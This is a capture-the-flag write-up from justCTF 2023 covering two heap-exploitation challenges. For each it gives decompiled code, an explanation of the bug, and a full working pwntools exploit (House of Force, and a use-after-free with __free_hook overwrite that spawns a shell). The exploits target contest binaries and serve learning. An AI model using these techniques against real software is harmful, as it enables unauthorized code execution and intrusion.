# justCTF 2023
I managed to solve 2 pwn challenges. Here is the solve script of them.
## Welcome to my house:
A glance shows that it could be a heap challenge.
```c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // [rsp+8h] [rbp-8h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = (char *)malloc(0x18uLL);
strcpy(v3, "admin");
menu(v3);
}
```
```c
void __fastcall __noreturn menu(const char *a1)
{
int v1; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
while ( 1 )
{
puts("[!]\tWelcome in my house!\t[!]\n");
printf("Actual user: %s\n\n", a1);
puts("1. Create user\n2. Read flag\n3. Exit\n");
printf(">> ");
__isoc99_scanf("%d", &v1);
putchar(10);
switch ( v1 )
{
case 1:
create_user();
break;
case 2:
read_flag(a1);
break;
case 3:
exit(0);
}
}
}
```
```c
unsigned __int64 create_user()
{
char *v0; // rax
size_t size; // [rsp+8h] [rbp-28h] BYREF
char *src; // [rsp+10h] [rbp-20h]
char *dest; // [rsp+18h] [rbp-18h]
char *v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Enter username: ");
src = (char *)malloc(0x19uLL);
__isoc99_scanf("%s", src);
putchar(10);
dest = (char *)malloc(0x18uLL);
strcpy(dest, src);
printf("Enter password: ");
v5 = (char *)malloc(0x18uLL);
__isoc99_scanf("%s", v5);
putchar(10);
printf("Enter disk space: ");
putchar(10);
__isoc99_scanf("%lu", &size);
malloc(size);
v0 = (char *)malloc(0x18uLL);
strcpy(v0, v5);
return __readfsqword(0x28u) ^ v6;
}
```
```c
int __fastcall read_flag(const char *a1)
{
if ( !strcmp(a1, "root") )
return system("cat flag.txt");
else
return puts("[-] You have to be root to read flag!\n");
}
```
### Vulnerability:
```c
src = (char *)malloc(0x19uLL);
__isoc99_scanf("%s", src);
putchar(10);
dest = (char *)malloc(0x18uLL);
strcpy(dest, src);
printf("Enter password: ");
v5 = (char *)malloc(0x18uLL);
__isoc99_scanf("%s", v5);
putchar(10);
printf("Enter disk space: ");
putchar(10);
__isoc99_scanf("%lu", &size);
malloc(size);
v0 = (char *)malloc(0x18uLL);
strcpy(v0, v5);
```
`scanf("%s", v5)` → `Buffer overflow`.
In `libc 2.27`, there is still no size check for `top chunk`, hence we will overwrite `top chunk` to a gigantic value, then enter a large size but smaller than `top chunk`, hence the next turn we will able to overwrite `admin` with `root`, choose `read_flag` and we will get flag.
**Note: Search `house of force` to know the technique**
### Final script:
```py
from pwn import *
e = context.binary = ELF("./chall")
#r = e.process()
r = remote("house.nc.jctf.pro", 1337)
gs = """
b*0x00000000004009bb
"""
#gdb.attach(r, gs)
r.recv()
r.sendline(b'1')
pause()
r.recv()
r.sendline(b'A' * 16)
r.recv()
r.sendline(b'A' * 24 + p64(0xffffffffffffff71))
r.recv()
r.sendline(str(0xffffffffffffff71 - 0x20 - 0x80 - 0x90).encode())
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'A' * 0x100 + b'root\0')
r.recv()
r.sendline(b'root')
r.recv()
r.sendline(b'24')
r.recv()
r.sendline(b'2')
r.interactive()
```
```sh
lynklee@lynklee:~$ python3 x.py
[*] '/home/lynklee/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to house.nc.jctf.pro on port 1337: Done
[*] Paused (press any to continue)
[*] Switching to interactive mode
justCTF{x_Wh@T_D0_Y0U_KN0W_AB0UT_TH3_F0RC3?}
[!] Welcome in my house! [!]
Actual user: root
1. Create user
2. Read flag
3. Exit
>> $
```
## Nucleus:
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v4; // rax
size_t v5; // rax
float v6; // xmm0_4
float v7; // [rsp+0h] [rbp-4064h]
char v8; // [rsp+Bh] [rbp-4059h] BYREF
__int64 v9; // [rsp+Ch] [rbp-4058h]
unsigned __int64 v10; // [rsp+14h] [rbp-4050h]
unsigned __int64 v11; // [rsp+1Ch] [rbp-4048h]
char *v12; // [rsp+24h] [rbp-4040h]
__int64 v13; // [rsp+2Ch] [rbp-4038h]
unsigned __int64 v14; // [rsp+34h] [rbp-4030h]
__int64 bytes; // [rsp+3Ch] [rbp-4028h]
__int64 v16; // [rsp+44h] [rbp-4020h]
char *s; // [rsp+4Ch] [rbp-4018h]
void *ptr[1024]; // [rsp+54h] [rbp-4010h] BYREF
void *v19[1026]; // [rsp+2054h] [rbp-2010h] BYREF
while ( &v19[514] != &ptr[2] )
;
v19[1025] = (void *)__readfsqword(0x28u);
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = (char *)malloc(0x400uLL);
memset(ptr, 0, sizeof(ptr));
memset(v19, 0, 0x2000uLL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
info();
while ( 2 )
{
++v9;
puts("1. Compress");
puts("2. Decompress");
puts("3. Cleanup");
puts("4. Exit");
printf("> ");
v13 = get_int();
switch ( v13 )
{
case 1LL:
printf("Enter text: ");
bytes = read_bytes(v12, 1023LL);
v19[v11] = malloc(2 * bytes);
if ( !v19[v11] )
goto LABEL_5;
s = (char *)compress(v12, v19[v11]);
v4 = strlen(s);
if ( (v4 & 0x8000000000000000LL) != 0LL )
v7 = (float)(int)(v4 & 1 | (v4 >> 1)) + (float)(int)(v4 & 1 | (v4 >> 1));
else
v7 = (float)(int)v4;
v5 = strlen(v12);
if ( (v5 & 0x8000000000000000LL) != 0LL )
v6 = (float)(int)(v5 & 1 | (v5 >> 1)) + (float)(int)(v5 & 1 | (v5 >> 1));
else
v6 = (float)(int)v5;
printf("[cid:%ld, ratio: %.2f] compressed text: %s\n\n", v11++, (float)(v7 / v6), s);
goto LABEL_25;
case 2LL:
printf("Enter compressed text: ");
bytes = read_bytes(v12, 1023LL);
ptr[v10] = malloc(2 * bytes);
if ( ptr[v10] )
{
v16 = decompress(v12, (unsigned int)bytes, ptr[v10]);
printf("[did:%ld] decompressed text: %s\n\n", v10, (const char *)ptr[v10]);
++v10;
LABEL_25:
if ( v11 + v10 > 8 )
exit(0);
continue;
}
LABEL_5:
puts("Error: Failed to allocate memory.");
return 1;
case 3LL:
printf("Compress or decompress slot? (c/d): ");
__isoc99_scanf(" %c", &v8);
getchar();
printf("Idx: ");
v14 = get_int();
if ( v14 <= v10 && v8 == 100 )
{
free(ptr[v14]);
}
else
{
if ( v14 > v11 || v8 != 99 )
{
puts("Invalid choice");
exit(-1);
}
free(v19[v14]);
}
goto LABEL_25;
case 4LL:
printf("Bye");
exit(0);
case 5LL:
printf("Idx: ");
v14 = get_int();
printf("content: %s\n", (const char *)v19[v14]);
goto LABEL_25;
default:
puts("Invalid choice");
exit(-1);
}
}
}
```
The program allows us to malloc 8 times both `compress` and `decompress`, then manipulate our input. Malloc uses length of our string doubled to create chunk
Example: `AAAAAAAAAAAA` → `$12A`
### Vulnerability
```c
printf("Compress or decompress slot? (c/d): ");
__isoc99_scanf(" %c", &v8);
getchar();
printf("Idx: ");
v14 = get_int();
if ( v14 <= v10 && v8 == 100 )
{
free(ptr[v14]);
}
else
{
if ( v14 > v11 || v8 != 99 )
{
puts("Invalid choice");
exit(-1);
}
free(v19[v14]);
```
`Use after free` in `option 3`, both pointer in `compress` and `decompress` section is not set to `NULL`.
```c
printf("Compress or decompress slot? (c/d): ");
__isoc99_scanf(" %c", &v8);
getchar();
printf("Idx: ");
v14 = get_int();
if ( v14 <= v10 && v8 == 100 )
{
free(ptr[v14]);
}
else
{
if ( v14 > v11 || v8 != 99 )
{
puts("Invalid choice");
exit(-1);
}
free(v19[v14]);
```
`Heap buffer overflow` in `option 2`, if the decompressed text is small, but transfer to compressed text is a larger string, it will overwrite some next chunk, see the below example to clearly understand.


It overwrites our `top chunk` since allocating an 0x20-size chunk but our decompressed string is 529 bytes (528 letter `A` and a `null byte`)
### Exploit:
Since challenge author only provided the binary, we have to find out libc version. I choose to leak heap first, because after `libc 2.32`, heap pointers are encoded, and normally if we leak heap, we might receive 5 bytes. I create 2 compressed text, small chunks and free them, then view the first free chunk will give heap base. Then create another chunk for compressed text but now it will malloc outside the tcache range.

We receive 6 bytes for our heap leak, I guess they use the version < 2.32.
After debugging, I choose to free a chunk twice to know whether double free be detected or not, and the result:

Yes, it is detected, so the libc version might be from `2.28` to `2.31`. Free the chunk outside tcache range recently, view it and what we receive is:

Yes, our libc base!
**Note: heap leak is not necessary in this case, because safe-linking is not enabled**
After leak, I use `heap buffer overflow` to overwrite `fd` of a free chunk to `__free_hook`, then overwrite `__free_hook` with system and free a chunk with content `/bin/sh`, shell is opened now.
### Final script:
```py
from pwn import *
e = context.binary = ELF("./nucleus")
libc = ELF("./libc.so.6")
def choice(c: int):
r.sendlineafter(b'> ', str(c).encode())
def compress(text: bytes):
choice(1)
r.sendlineafter(b'Enter text: ', text)
def decompress(text: bytes):
choice(2)
r.sendlineafter(b'compressed text: ', text)
def cleanup(c: bytes, idx: int):
choice(3)
r.sendlineafter(b'Compress or decompress slot? (c/d):' , c)
r.sendlineafter(b'Idx: ', str(idx).encode())
def view(idx: int):
choice(5)
r.sendlineafter(b'Idx: ', str(idx).encode())
def enc(pointer: int, heap: int):
return p64(pointer^(heap>>12))
gs = """
brva 0x0000000000001B92
b*compress
brva 0x0x0000000000001bc6
brva 0x1c40
b*execve
"""
if args.LOCAL:
r = e.process()
if args.REMOTE:
r = remote("nucleus.nc.jctf.pro", 1337)
if args.GDB:
gdb.attach(r, gs)
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
pause()
compress(b'A' * 0x210) # victim chunk put into unsortedbin
compress(b'A' * 0x10)
compress(b'B' * 0x10)
compress(b'B' * 0x10)
# free chunk in descending order in order to overwrite fd of a free chunk to __free_hook
cleanup(b'c', 3)
cleanup(b'c', 2)
cleanup(b'c', 0)
view(2)
r.recvuntil(b'content: ')
heap = u64(r.recv(6) + b'\0' * 2) - 0xb40
log.info(f'Heap: {hex(heap)}')
# leak libc by UAF of a chunk in unsortedbin
view(0)
r.recvuntil(b'content: ')
libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - 0x1ecbe0
log.info(f'Libc: {hex(libc.address)}')
cleanup(b'c', 1) # this chunk's fd will be overwritten
# Decompress a chunk with 0x30 chunk size
# will put __free_hook into fd of chunk 1
decompress(b'$40A' + p64(0x31) + p64(libc.sym['__free_hook']))
compress(b'/bin/sh\0' + b'A' * 8)
compress(p64(libc.sym['system']) + b'A' * 8) # len = 16, malloc(2*16) -> 0x30 chunk, overwrite __free_hook
cleanup(b'c' , 4) # system("/bin/sh")
r.interactive()
```
